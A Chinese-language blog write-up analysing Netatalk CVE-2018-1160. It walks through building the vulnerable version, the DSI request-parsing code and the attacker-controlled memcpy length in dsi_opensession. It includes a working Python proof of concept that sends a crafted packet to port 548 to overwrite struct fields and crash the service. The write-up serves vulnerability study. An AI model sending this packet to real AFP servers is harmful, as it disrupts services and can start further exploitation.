编译安装

首先下载带有漏洞的源代码

https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/

安装一些依赖库(可能不全,到时根据报错安装其他的库)

sudo apt install libcrack2-dev
sudo apt install libgssapi-krb5-2
sudo apt install libgssapi3-heimdal
sudo apt install libgssapi-perl
sudo apt-get install libkrb5-dev
sudo apt-get install libtdb-dev
sudo apt-get install libevent-dev

然后编译安装

$ ./configure         --with-init-style=debian-systemd         --without-libevent         --without-tdb         --with-cracklib         --enable-krbV-uam        --with-pam-confdir=/etc/pam.d         --with-dbus-daemon=/usr/bin/dbus-daemon         --with-dbus-sysconf-dir=/etc/dbus-1/system.d         --with-tracker-pkgconfig-version=1.0
$ make
$ sudo make install

编译安装好后, 编辑一下配置文件

root@ubuntu:~# cat /usr/local/etc/afp.conf
[Global]
mimic model = Xserve #这个是指定让机器在你Mac系统中显示为什么的图标
log level = default:warn
log file = /var/log/afpd.log
hosts allow = 192.168.245.0/24 #允许访问的主机地址,根据需要自行修改
hostname = ubuntu #主机名,随你喜欢
uam list = uams_dhx.so uams_dhx2.so #默认认证方式 用户名密码登录 更多查看官方文档 [Homes]
basedir regex = /tmp #用户的Home目录 [NAS-FILES]
path = /tmp #数据目录

然后尝试启动服务

$ sudo systemctl enable avahi-daemon
$ sudo systemctl enable netatalk
$ sudo systemctl start avahi-daemon
$ sudo systemctl start netatalk

启动后 afpd 会监听在 548 端口,查看端口列表确认服务是否正常启动

为了调试的方便,关闭 alsr

echo 0 > /proc/sys/kernel/randomize_va_space

代码阅读笔记

为了便于理解漏洞和 poc 的构造,这里介绍下一些重点的代码逻辑。

程序使用多进程的方式处理客户端的请求,每来一个客户端就会 fork 一个子进程处理请求的数据。

利用客户端请求数据初始化结构体

首先会调用 dsi_stream_receive 把客户端的请求数据填充到 DSI 结构体中。

使用客户端的数据填充结构体的代码

/*!
* Read DSI command and data
*
* @param dsi (rw) DSI handle
*
* @return DSI function on success, 0 on failure
*/
int dsi_stream_receive(DSI *dsi)
{
char block[DSI_BLOCKSIZ]; LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START"); if (dsi->flags & DSI_DISCONNECTED)
return 0; /* read in the header */
if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block))
return 0; dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1]; if (dsi->header.dsi_command == 0)
return 0; memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len)); memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID); /* 确保不会溢出 dsi->commands */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum); /* Receiving DSIWrite data is done in AFP function, not here */
if (dsi->header.dsi_data.dsi_doff) {
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
} if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0; LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen); return block[1];
}

代码逻辑主要是填充 header 的一些字段,然后 拷贝 header 后面的数据到 dsi->commands

其中 header 的结构如下

#define DSI_BLOCKSIZ 16
struct dsi_block {
uint8_t dsi_flags; /* packet type: request or reply */
uint8_t dsi_command; /* command */
uint16_t dsi_requestID; /* request ID */
union {
uint32_t dsi_code; /* error code */
uint32_t dsi_doff; /* data offset */
} dsi_data;
uint32_t dsi_len; /* total data length */
uint32_t dsi_reserved; /* reserved field */
};

header中比较重要的字段有:

dsi_command 表示需要执行的动作

dsi_len 表示 header 后面数据的大小, 这个值会和 dsi->server_quantum 进行比较,取两者之间较小的值作为 dsi->cmdlen 的值。

  /* 确保不会溢出 dsi->commands */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

这样做的目的是为了确保后面拷贝数据到 dsi->commands 时不会溢出。

dsi->commands 默认大小为 0x101000

pwndbg> p dsi->commands
$8 = (uint8_t *) 0x7ffff7ed4010 "\001\004"
pwndbg> vmmap 0x7ffff7ed4010
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffff7ed4000 0x7ffff7fd5000 rw-p 101000 0

初始化代码位置

/*!
* Allocate DSI read buffer and read-ahead buffer
*/
static void dsi_init_buffer(DSI *dsi)
{
if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {
LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
AFP_PANIC("OOM in dsi_init_buffer");
}

dsi->server_quantum 默认

#define DSI_SERVQUANT_DEF   0x100000L   /* default server quantum (1 MB) */

根据 header 字段选择处理逻辑

接下来会进入 dsi_getsession 函数。

这个函数的主要部分是根据 dsi->header.dsi_command 的值来判断后面进行的操作。这个值是从客户端发送的数据里面取出的。

漏洞分析

漏洞位于 dsi_opensession

当进入 DSIOPT_ATTNQUANT 分支时 会调用 memcpy 拷贝到 dsi->attn_quantum ,查看 dis 结构体的定义可以发现dsi->attn_quantum 是一个 4 字节的无符号整数 ,而 memcpysize 区域则是直接从 dsi->commands 里面取出来的, 而 dsi->commands 是从客户端发送的数据直接拷贝过来的。所以 dsi->commands[i] 我们可控,最大的大小为 0xff (dsi->commands 是一个 uint8_t 的数组)

poc

#!/usr/bin/python
# -*- coding: UTF-8 -*- import socket
import struct ip = "192.168.245.168"
port = 548
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port)) # 设置 commands , 溢出 dsi->attn_quantum
commands = "\x01" # DSIOPT_ATTNQUANT 选项的值
commands += "\x80" # 数据长度
commands += "\xaa" * 0x80 header = "\x00" # "request" flag , dsi_flags
header += "\x04" # open session command , dsi_command
header += "\x00\x01" # request id, dsi_requestID
header += "\x00\x00\x00\x00" # dsi_data
header += struct.pack(">I", len(commands)) # dsi_len , 后面 commands 数据的长度
header += "\x00\x00\x00\x00" # reserved header += commands
sock.sendall(header) print sock.recv(1024)

首先设置好 dsi 数据的头部,然后设置 commands 。设置 commands[i] 长度为 0x80 , 复制的数据为 "\xaa" * 0x80

# 设置 payload , 溢出 dsi->attn_quantum
payload = "\x01" # DSIOPT_ATTNQUANT 选项的值, 以便进入该分支
payload += "\x80" # 数据长度
payload += "\xaa" * 0x80 # 数据

当进入

memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);

就会复制 0x80\xaadsi->attn_quantum 处, 这样会溢出覆盖 dsi->attn_quantum 后面的一些字段。

发送 poc , 在调试器中看看在调用 memcpydsi 结构体内部的情况

可以看到从 dsi->attn_quantum 开始一直到 dsi->data 之间的字段都被覆盖成了 \xaa 。由于 dsi->commands 为一个指针, 这里被覆盖成了不可访问的值,在后续使用 dsi->commands 时会触发 crash

总结

当程序需要从数据里面取出表示数据长度的字段时一定要做好判断防止出现问题。

参考

https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172

Netatalk CVE-2018–1160 越界访问漏洞分析的更多相关文章

  1. CVE-2018-18820 icecast 栈缓冲区越界写漏洞分析

    前言 icecast 是一款开源的流媒体服务器 , 当服务器配置了 url 认证时,服务器在处理 HTTP 头部字段时错误的使用了 snprintf 导致栈缓冲区的越界写漏洞( CVE-2018-18 ...

  2. 【转+自己研究】新姿势之Docker Remote API未授权访问漏洞分析和利用

    0x00 概述 最近提交了一些关于 docker remote api 未授权访问导致代码泄露.获取服务器root权限的漏洞,造成的影响都比较严重,比如 新姿势之获取果壳全站代码和多台机器root权限 ...

  3. Redis未授权访问漏洞分析

    catalog . Redis简介 . 漏洞概述 . 漏洞利用方式 . 修复方式 1. Redis简介 Relevant Link: http://www.cnblogs.com/LittleHann ...

  4. CVE-2018-15688 systemd dhcp6组件越界写漏洞分析

    编译的话 , 用 ubuntu 18.10, 没有 patch 的源码下载路径 https://codeload.github.com/poettering/systemd/zip/3941f8329 ...

  5. 【逆向实战】ES文件浏览器未授权访问漏洞(CVE-2019-6447)具体分析及利用

    /作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 漏洞简介 CVE-2019-6447是Android端上的一个知名软件:ES文件浏览器的 ...

  6. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  7. linux 内核源代码情景分析——越界访问

    页式存储管理机制通过页面目录和页面表将每个线性地址转换成物理地址,当遇到下面几种情况就会使CPU产生一次缺页中断,从而执行预定的页面异常处理程序: ① 相应的页面目录或页表项为空,也就是该线性地址与物 ...

  8. Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现

    0x00  漏洞描述 漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码.攻击者利用该漏洞无须权限即可实现远 ...

  9. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

随机推荐

  1. H5的Page Visibility API

    概述 哈哈,又学了一个H5的API.今天突然对动态获取网页的选中状态很感兴趣,然后去查了下,发现真的有个API控制它--Page Visibility API.于是把学到的东西记录下来,供以后开发时参 ...

  2. Linux - 日志文件简介

    Linux日志文件绝大多数存放在/var/log目录,其中一些日志文件由应用程序创建,其他的则通过syslog来创建. Linux系统日志文件通过syslog守护程序在syslog套接字/dev/lo ...

  3. iOS-关于缓存【SDImageCache】Image,一直刷新UIImageView内存一直增加问题

    最近做的一个项目,里面有这样一个需求,在一个页面,用一个UIImageView不停的刷新显示图片,图片可能会重复显示:图片是从服务器下载下来的data流,data转UIimage系统的方法: UIIm ...

  4. mongodb3.x主从配置及备份

    本文将介绍下mongodb主从配置及备份 MongoDB 是一个基于分布式文件存储的数据库.由 C++ 语言编写.旨在为 WEB 应用提供可扩展的高性能数据存储解决方案. MongoDB 是一个介于关 ...

  5. ubuntu下截图工具推荐 -- [deepin-scrot]

    有时候我们需要在linux下截图来保存.如果你仅仅需要全屏截图的话其实可以直接按键盘上的PrScrn或者Press Print键盘按键来实现即可: 但是如果你需要对截图的图片进行标记.画个线画个圈加个 ...

  6. LintCode翻转字符串问题 - python实现

    题目描述:试实现一个函数reverseWords,该函数传入参数是一个字符串,返回值是单词间做逆序调整后的字符串(只做单词顺序的调整即可). 例如:传入参数为"the sky is blue ...

  7. Xcode 8.X Command Line Tools

    Summary Step 1. Upgrade Your System to macOS Sierra Step 2. Open the Terminal Application Step 3. Is ...

  8. [java核心技术01]__继承与多态、重载与重写、抽象类与接口

    前言 前面简单学习了面向对象的知识,知道了其两个重要的特性,继承与多态,今天就围绕着面向对象的这两个特性,将继承与多态及相关的几个几个定义重载与重写,抽象类与接口的相关知识具体学习一下. 类的继承 关 ...

  9. Maven_1 安装配置

    所需工具 : JDK 1.8 Maven 3.3.9 Windows 7 下载Maven 3.3.9  http://maven.apache.org/download.cgi  首先要先安装JDK. ...

  10. thinkphp通用控制器

    <?php namespace 目录\Controller; class TypeController extends Controller { public function add() { ...